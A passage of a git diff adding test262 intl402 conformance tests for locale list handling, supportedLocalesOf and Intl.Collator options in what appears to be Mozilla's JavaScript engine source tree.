+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that values other than strings are not accepted as locales.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var notStringOrObject = [undefined, null, true, false, 0, 5, -5, NaN];
+
+testWithIntlConstructors(function (Constructor) {
+ notStringOrObject.forEach(function (value) {
+ var error;
+ try {
+ var supported = Constructor.supportedLocalesOf([value]);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("" + value + " as locale was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("" + value + " as locale was rejected with wrong error " + error.name + ".");
+ }
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_vi.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_vi.js
new file mode 100644
index 000000000..ef78fa97b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_vi.js
@@ -0,0 +1,18 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that canonicalization of locale lists removes duplicate language tags.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ var canonicalized = Constructor.supportedLocalesOf([defaultLocale, defaultLocale]);
+ if (canonicalized.length > 1) {
+ $ERROR("Canonicalization didn't remove duplicate language tags from locale list.");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.2.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.2.js
new file mode 100644
index 000000000..cb74eaad2
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.2.js
@@ -0,0 +1,45 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that locales that are reported by resolvedOptions
+ * are also reported by supportedLocalesOf.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var info = getLocaleSupportInfo(Constructor);
+ // this test should work equally for both matching algorithms
+ ["lookup", "best fit"].forEach(function (matcher) {
+ var supportedByConstructor = info.supported.concat(info.byFallback);
+ var supported = Constructor.supportedLocalesOf(supportedByConstructor,
+ {localeMatcher: matcher});
+ // we could check the length first, but it's probably more interesting which locales are missing
+ var i = 0;
+ var limit = Math.min(supportedByConstructor.length, supported.length);
+ while (i < limit && supportedByConstructor[i] === supported[i]) {
+ i++;
+ }
+ if (i < supportedByConstructor.length) {
+ $ERROR("Locale " + supportedByConstructor[i] +
+ " is returned by resolvedOptions but not by supportedLocalesOf.");
+ } else if (i < supported.length) {
+ $ERROR("Locale " + supported[i] +
+ " is returned by supportedLocalesOf but not by resolvedOptions.");
+ }
+ });
+
+ // this test is only valid for lookup - best fit may find additional locales supported
+ var unsupportedByConstructor = info.unsupported;
+ var supported = Constructor.supportedLocalesOf(unsupportedByConstructor,
+ {localeMatcher: "lookup"});
+ if (supported.length > 0) {
+ $ERROR("Locale " + supported[0] +
+ " is returned by supportedLocalesOf but not by resolvedOptions.");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.3_5.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.3_5.js
new file mode 100644
index 000000000..8ae8a216b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.3_5.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["locale", "extension", "extensionIndex"]);
+
+testWithIntlConstructors(function (Constructor) {
+ var locale = new Constructor(undefined, {localeMatcher: "lookup"}).resolvedOptions().locale;
+ if (!isCanonicalizedStructurallyValidLanguageTag(locale)) {
+ $ERROR("Constructor returns invalid locale " + locale + ".");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.5_11_g_ii_2.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.5_11_g_ii_2.js
new file mode 100644
index 000000000..d4213d2da
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.5_11_g_ii_2.js
@@ -0,0 +1,26 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that missing Unicode extension values default to true for
+ * boolean keys.
+ * @author Norbert Lindenberg
+ */
+
+var extensions = ["-u-co-phonebk-kn", "-u-kn-co-phonebk"];
+extensions.forEach(function (extension) {
+ var defaultLocale = new Intl.Collator().resolvedOptions().locale;
+ var collator = new Intl.Collator([defaultLocale + extension], {usage: "sort"});
+ var locale = collator.resolvedOptions().locale;
+ var numeric = collator.resolvedOptions().numeric;
+ if (numeric !== undefined) {
+ if (numeric !== true) {
+ $ERROR("Default value for \"kn\" should be true, but is " + numeric + ".");
+ }
+ if (locale.indexOf("-kn") !== -1) {
+ $ERROR("\"kn\" is returned in locale, but shouldn't be.");
+ }
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.5_6.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.5_6.js
new file mode 100644
index 000000000..4bc904ee1
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.5_6.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["dataLocale", "nu", "ca", "co", "locale"]);
+
+testWithIntlConstructors(function (Constructor) {
+ var locale = new Constructor(undefined, {localeMatcher: "lookup"}).resolvedOptions().locale;
+ if (!isCanonicalizedStructurallyValidLanguageTag(locale)) {
+ $ERROR("Constructor returns invalid locale " + locale + ".");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.6_2.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_2.js
new file mode 100644
index 000000000..8d4f7efa9
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_2.js
@@ -0,0 +1,27 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a List is not affected by adversarial
+ * changes to Array.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintArray();
+
+testWithIntlConstructors(function (Constructor) {
+ // this test should work equally for both matching algorithms
+ ["lookup", "best fit"].forEach(function (matcher) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ var canonicalized = Constructor.supportedLocalesOf([defaultLocale, defaultLocale],
+ {localeMatcher: matcher});
+ if (canonicalized.length > 1) {
+ $ERROR("Canonicalization with matcher " + matcher + " didn't remove duplicate language tags from locale list.");
+ }
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4.js
new file mode 100644
index 000000000..7c053a381
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4.js
@@ -0,0 +1,23 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that LookupSupportedLocales returns an empty list when
+ * given an empty list.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ // this test should work equally for both matching algorithms
+ ["lookup", "best fit"].forEach(function (matcher) {
+ var supported = Constructor.supportedLocalesOf([], {localeMatcher: matcher});
+ if (supported.length !== 0) {
+ $ERROR("SupportedLocales with matcher " + matcher + " returned a non-empty list for an empty list.");
+ }
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_b.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_b.js
new file mode 100644
index 000000000..5b9a43157
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_b.js
@@ -0,0 +1,47 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Unicode locale extension sequences do not affect
+ * whether a locale is considered supported, but are reported back.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ // this test should work equally for both matching algorithms
+ ["lookup", "best fit"].forEach(function (matcher) {
+ var info = getLocaleSupportInfo(Constructor);
+ var allLocales = info.supported.concat(info.byFallback, info.unsupported);
+ allLocales.forEach(function (locale) {
+ var validExtension = "-u-co-phonebk-nu-latn";
+ var invalidExtension = "-u-nu-invalid";
+ var supported1 = Constructor.supportedLocalesOf([locale],
+ {localeMatcher: matcher});
+ var supported2 = Constructor.supportedLocalesOf([locale + validExtension],
+ {localeMatcher: matcher});
+ var supported3 = Constructor.supportedLocalesOf([locale + invalidExtension],
+ {localeMatcher: matcher});
+ if (supported1.length === 1) {
+ if (supported2.length !== 1 || supported3.length !== 1) {
+ $ERROR("Presence of Unicode locale extension sequence affects whether locale " +
+ locale + " is considered supported with matcher " + matcher + ".");
+ }
+ if (supported2[0] !== locale + validExtension || supported3[0] !== locale + invalidExtension) {
+ alert(locale + "; " + supported2[0] + "; " + supported3[0]);
+ $ERROR("Unicode locale extension sequence is not correctly returned for locale " +
+ locale + " with matcher " + matcher + ".");
+ }
+ } else {
+ if (supported2.length !== 0 || supported3.length !== 0) {
+ $ERROR("Presence of Unicode locale extension sequence affects whether locale " +
+ locale + " is considered supported with matcher " + matcher + ".");
+ }
+ }
+ });
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_c.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_c.js
new file mode 100644
index 000000000..de68a9b66
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_c.js
@@ -0,0 +1,32 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that LookupSupportedLocales includes the default locale
+ * and doesn't include the "no linguistic content" locale.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ // this test should work equally for both matching algorithms
+ ["lookup", "best fit"].forEach(function (matcher) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ var noLinguisticContent = "zxx";
+ var supported = Constructor.supportedLocalesOf([defaultLocale, noLinguisticContent],
+ {localeMatcher: matcher});
+ if (supported.indexOf(defaultLocale) === -1) {
+ $ERROR("SupportedLocales didn't return default locale with matcher " + matcher + ".");
+ }
+ if (supported.indexOf(noLinguisticContent) !== -1) {
+ $ERROR("SupportedLocales returned the \"no linguistic content\" locale with matcher " + matcher + ".");
+ }
+ if (supported.length > 1) {
+ $ERROR("SupportedLocales returned stray locales: " + supported.join(", ") + " with matcher " + matcher + ".");
+ }
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.8_1_c.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.8_1_c.js
new file mode 100644
index 000000000..724db1edd
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.8_1_c.js
@@ -0,0 +1,36 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option localeMatcher is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+
+ var validValues = [undefined, "lookup", "best fit", {toString: function () { return "lookup"; }}];
+ validValues.forEach(function (value) {
+ var supported = Constructor.supportedLocalesOf([defaultLocale], {localeMatcher: value});
+ });
+
+ var invalidValues = [null, 0, 5, NaN, true, false, "invalid"];
+ invalidValues.forEach(function (value) {
+ var error;
+ try {
+ var supported = Constructor.supportedLocalesOf([defaultLocale], {localeMatcher: value});
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid localeMatcher value " + value + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid localeMatcher value " + value + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.8_4.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.8_4.js
new file mode 100644
index 000000000..79c362f62
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.8_4.js
@@ -0,0 +1,35 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the array returned by SupportedLocales is extensible,
+ * but its properties are non-writable/non-configurable.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+function testFrozenProperty(obj, property) {
+ var desc = Object.getOwnPropertyDescriptor(obj, property);
+ if (desc.writable) {
+ $ERROR("Property " + property + " of object returned by SupportedLocales is writable.");
+ }
+ if (desc.configurable) {
+ $ERROR("Property " + property + " of object returned by SupportedLocales is configurable.");
+ }
+}
+
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ var supported = Constructor.supportedLocalesOf([defaultLocale]);
+ if (!Object.isExtensible(supported)) {
+ $ERROR("Object returned by SupportedLocales is not extensible.");
+ }
+ for (var i = 0; i < supported.length; i++) {
+ testFrozenProperty(supported, i);
+ }
+ testFrozenProperty(supported, "length");
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/browser.js b/js/src/tests/test262/intl402/ch09/9.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/browser.js
diff --git a/js/src/tests/test262/intl402/ch09/9.2/shell.js b/js/src/tests/test262/intl402/ch09/9.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/shell.js
diff --git a/js/src/tests/test262/intl402/ch09/browser.js b/js/src/tests/test262/intl402/ch09/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/browser.js
diff --git a/js/src/tests/test262/intl402/ch09/shell.js b/js/src/tests/test262/intl402/ch09/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/shell.js
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_1.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_1.js
new file mode 100644
index 000000000..432e073fc
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_1.js
@@ -0,0 +1,43 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that an object can't be re-initialized as a Collator.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var obj, error;
+
+ // variant 1: use constructor in a "new" expression
+ obj = new Constructor();
+ try {
+ Intl.Collator.call(obj);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Re-initializing object created with \"new\" as Collator was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Re-initializing object created with \"new\" as Collator was rejected with wrong error " + error.name + ".");
+ }
+
+ // variant 2: use constructor as a function
+ obj = Constructor.call({});
+ error = undefined;
+ try {
+ Intl.Collator.call(obj);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Re-initializing object created with constructor as function as Collator was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Re-initializing object created with constructor as function as Collator was rejected with wrong error " + error.name + ".");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_10.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_10.js
new file mode 100644
index 000000000..5c6b657b5
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_10.js
@@ -0,0 +1,18 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["localeMatcher", "kn", "kf"]);
+
+var locale = new Intl.Collator(undefined, {localeMatcher: "lookup"}).resolvedOptions().locale;
+if (!isCanonicalizedStructurallyValidLanguageTag(locale)) {
+ $ERROR("Collator returns invalid locale " + locale + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_11.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_11.js
new file mode 100644
index 000000000..447fd8b28
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_11.js
@@ -0,0 +1,12 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option localeMatcher is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.Collator, "localeMatcher", "string", ["lookup", "best fit"], "best fit", {noReturn: true});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_13.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_13.js
new file mode 100644
index 000000000..4129eebd2
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_13.js
@@ -0,0 +1,13 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the options numeric and caseFirst are processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.Collator, "numeric", "boolean", undefined, undefined, {isOptional: true});
+testOption(Intl.Collator, "caseFirst", "string", ["upper", "lower", "false"], undefined, {isOptional: true});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_b.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_b.js
new file mode 100644
index 000000000..f1fef2704
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_b.js
@@ -0,0 +1,44 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests the special handling of the "co" key in Intl.Collator.
+ * @author Norbert Lindenberg
+ */
+
+function checkCollation(extensionCoValue, usageValue, expectedCollations, expectedUsage) {
+ var requestLocale = extensionCoValue !== undefined ? "de-DE-u-co-" + extensionCoValue : "de-DE";
+ var options = usageValue !== undefined ? { usage: usageValue } : undefined;
+ var collator = new Intl.Collator([requestLocale], options);
+
+ var collation = collator.resolvedOptions().collation;
+ if (expectedCollations.indexOf(collation) === -1) {
+ $ERROR((extensionCoValue === undefined ? "Default collation" : "Collation for \"" + extensionCoValue) +
+ "\" should be " + expectedCollations.join(" or ") + ", but is " + collation + ".");
+ }
+
+ var usage = collator.resolvedOptions().usage;
+ if (expectedUsage !== usage) {
+ $ERROR((usageValue === undefined ? "Default usage" : "Usage") +
+ " should be " + expectedUsage + ", but is " + usage + ".");
+ }
+}
+
+checkCollation(undefined, undefined, ["default"], "sort");
+
+checkCollation("phonebk", undefined, ["phonebk", "default"], "sort");
+
+checkCollation("invalid", undefined, ["default"], "sort");
+
+checkCollation("standard", undefined, ["default"], "sort");
+
+checkCollation("standard", "search", ["default"], "search");
+
+checkCollation("standard", "sort", ["default"], "sort");
+
+checkCollation("search", undefined, ["default"], "sort");
+
+checkCollation("search", "search", ["default"], "search");
+
+checkCollation("search", "sort", ["default"], "sort");
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_c.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_c.js
new file mode 100644
index 000000000..4ad76d45b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_c.js
@@ -0,0 +1,63 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the options numeric and caseFirst can be
+ * set through either the locale or the options.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var options = [
+ {key: "kn", property: "numeric", type: "boolean", values: [true, false]},
+ {key: "kf", property: "caseFirst", type: "string", values: ["upper", "lower", "false"]}
+];
+
+options.forEach(function (option) {
+ var defaultLocale = new Intl.Collator().resolvedOptions().locale;
+ var collator, opt, result;
+
+ // find out which values are supported for a property in the default locale
+ var supportedValues = [];
+ option.values.forEach(function (value) {
+ opt = {};
+ opt[option.property] = value;
+ collator = new Intl.Collator([defaultLocale], opt);
+ result = collator.resolvedOptions()[option.property];
+ if (result !== undefined && supportedValues.indexOf(result) === -1) {
+ supportedValues.push(result);
+ }
+ });
+
+ // verify that the supported values can also be set through the locale
+ supportedValues.forEach(function (value) {
+ collator = new Intl.Collator([defaultLocale + "-u-" + option.key + "-" + value]);
+ result = collator.resolvedOptions()[option.property];
+ if (result !== value) {
+ $ERROR("Property " + option.property + " couldn't be set through locale extension key " +
+ option.key + "; requested value: " + value + "; actual value: " + result + ".");
+ }
+ });
+
+ // verify that the options setting overrides the locale setting
+ supportedValues.forEach(function (value) {
+ var otherValue;
+ option.values.forEach(function (possibleValue) {
+ if (possibleValue !== value) {
+ otherValue = possibleValue;
+ }
+ });
+ if (otherValue !== undefined) {
+ opt = {};
+ opt[option.property] = value;
+ collator = new Intl.Collator([defaultLocale + "-u-" + option.key + "-" + otherValue], opt);
+ result = collator.resolvedOptions()[option.property];
+ if (result !== value) {
+ $ERROR("Options value for property " + option.property + " doesn't override locale extension key " +
+ option.key + "; requested value: " + value + "; actual value: " + result + ".");
+ }
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_20.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_20.js
new file mode 100644
index 000000000..97d70c0f9
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_20.js
@@ -0,0 +1,13 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option sensitivity is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// the fallback is variant only for usage === sort, but that happens to be the fallback for usage
+testOption(Intl.Collator, "sensitivity", "string", ["base", "accent", "case", "variant"], "variant");
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_23.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_23.js
new file mode 100644
index 000000000..0b5261509
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_23.js
@@ -0,0 +1,13 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option ignorePunctuation is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// the fallback is variant only for usage === sort, but that happens to be the fallback for usage
+testOption(Intl.Collator, "ignorePunctuation", "boolean", undefined, false);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_6.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_6.js
new file mode 100644
index 000000000..bc13436d7
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_6.js
@@ -0,0 +1,12 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option usage is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.Collator, "usage", "string", ["sort", "search"], "sort");
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.1_a.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_a.js
new file mode 100644
index 000000000..56d4b9789
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.1_a.js
@@ -0,0 +1,14 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that constructing a Collator doesn't create or modify
+ * unwanted properties on the RegExp constructor.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testForUnwantedRegExpChanges(function () {
+ new Intl.Collator("de-DE-u-co-phonebk");
+});
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.2.1_4.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.2.1_4.js
new file mode 100644
index 000000000..22e69065e
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.2.1_4.js
@@ -0,0 +1,21 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that for non-object values passed as this to Collator a
+ * wrapper object will be initialized and returned.
+ * @author Norbert Lindenberg
+ */
+
+var thisValues = [true, 42, "国際化"];
+
+thisValues.forEach(function (value) {
+ var collator = Intl.Collator.call(value);
+ // check that the returned object functions as a collator
+ var referenceCollator = new Intl.Collator();
+ if (Intl.Collator.prototype.compare.call(collator, "a", "b") !== referenceCollator.compare("a", "b")) {
+ $ERROR("Collator initialized from " + value + " doesn't behave like normal collator.");
+ }
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.2_a.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.2_a.js
new file mode 100644
index 000000000..de69a4809
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.2_a.js
@@ -0,0 +1,30 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator can be subclassed.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// get a collator and have it sort an array for comparison with the subclass
+var locales = ["tlh", "id", "en"];
+var a = ["A", "C", "E", "B", "D", "F"];
+var referenceCollator = new Intl.Collator(locales);
+var referenceSorted = a.slice().sort(referenceCollator.compare);
+
+function MyCollator(locales, options) {
+ Intl.Collator.call(this, locales, options);
+ // could initialize MyCollator properties
+}
+
+MyCollator.prototype = Object.create(Intl.Collator.prototype);
+MyCollator.prototype.constructor = MyCollator;
+// could add methods to MyCollator.prototype
+
+var collator = new MyCollator(locales);
+a.sort(collator.compare);
+testArraysAreSame(referenceSorted, a);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1.3.js b/js/src/tests/test262/intl402/ch10/10.1/10.1.3.js
new file mode 100644
index 000000000..7459d98d6
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1.3.js
@@ -0,0 +1,19 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that objects constructed by Intl.Collator have the specified internal properties.
+ * @author Norbert Lindenberg
+ */
+
+var obj = new Intl.Collator();
+
+var actualPrototype = Object.getPrototypeOf(obj);
+if (actualPrototype !== Intl.Collator.prototype) {
+ $ERROR("Prototype of object constructed by Intl.Collator isn't Intl.Collator.prototype; got " + actualPrototype);
+}
+
+if (!Object.isExtensible(obj)) {
+ $ERROR("Object constructed by Intl.Collator must be extensible.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/10.1_L15.js b/js/src/tests/test262/intl402/ch10/10.1/10.1_L15.js
new file mode 100644
index 000000000..4dbabfd64
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/10.1_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.Collator, true, true, ["supportedLocalesOf"], 0);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.1/browser.js b/js/src/tests/test262/intl402/ch10/10.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/browser.js
diff --git a/js/src/tests/test262/intl402/ch10/10.1/shell.js b/js/src/tests/test262/intl402/ch10/10.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.1/shell.js
